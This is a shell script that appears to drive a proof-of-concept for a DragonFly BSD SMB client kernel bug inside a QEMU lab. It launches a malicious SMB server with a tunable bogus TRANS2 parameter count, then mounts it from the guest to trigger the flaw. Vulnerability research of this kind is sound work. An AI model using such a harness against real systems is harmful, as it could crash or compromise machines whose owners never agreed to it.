#!/bin/sh
# DF-0624 live driver: run the malicious SMB server on the host (background,
# fds detached) and drive the guest client against it, then kill the server so
# the tool harness command returns.  Usage: ./run_live.sh <client-cmd-name>
#   client-cmd-name: "nc"     = raw NBSS smoke test (does not trigger bug)
#                    "mount"  = mount_smbfs + ls (triggers TRANS2 -> bug)
set -u
cd "$(dirname "$0")"
# repo root is four levels up from findings/poc/DF-0624/
ROOT="$(cd ../../.. && pwd)"
VM="$ROOT/dfbsd-qemu/vm.sh"
MODE="${1:-mount}"
SRVLOG="server.log"
CLAIM="${CLAIM_PCOUNT:-0x0200}"
BODY="${BODY_BYTES:-200}"
pkill -f malicious_smb_server.py 2>/dev/null
rm -f "$SRVLOG"

# Launch server fully detached (no inheritance of our stdout pipe).
CLAIM_PCOUNT="$CLAIM" BODY_BYTES="$BODY" \
  python3 malicious_smb_server.py </dev/null >"$SRVLOG" 2>&1 &
SRV=$!
sleep 1.5
if ! kill -0 "$SRV" 2>/dev/null; then
  echo "SERVER failed to start; log:"; cat "$SRVLOG"; exit 2
fi
echo "server pid=$SRV up"

if [ "$MODE" = "nc" ]; then
  # Smoke: raw connect from guest, send a NBSS session request, see if server logs it.
  echo "--- guest NBSS smoke (port 139) ---"
  "$VM" run_root 'printf "\x81\x00\x00\x2e\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x20CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00" | timeout 4 nc -w 3 10.0.2.2 139 | xxd | head -4; echo NC_RC=$?' 2>&1 | head -6
  sleep 0.5
elif [ "$MODE" = "mount" ]; then
  echo "--- guest: load smb module + mount attempt ---"
  "$VM" run_root 'kldload smb 2>/dev/null; kldstat | grep -i smb; mkdir -p /mnt/smb 2>/dev/null; timeout 25 mount_smbfs -N -I 10.0.2.2 -W WORKGROUP //guest@10.0.2.2/share /mnt/smb 2>&1; echo MOUNT_RC=$?; if mount | grep -q /mnt/smb; then echo "=== ls to issue TRANS2 ==="; timeout 15 ls -la /mnt/smb 2>&1; echo LS_RC=$?; umount /mnt/smb 2>&1; fi' 2>&1 | head -25
  sleep 0.5
fi

echo "=== server log (last 25) ==="
tail -25 "$SRVLOG"
kill "$SRV" 2>/dev/null
wait "$SRV" 2>/dev/null
echo "driver-done"
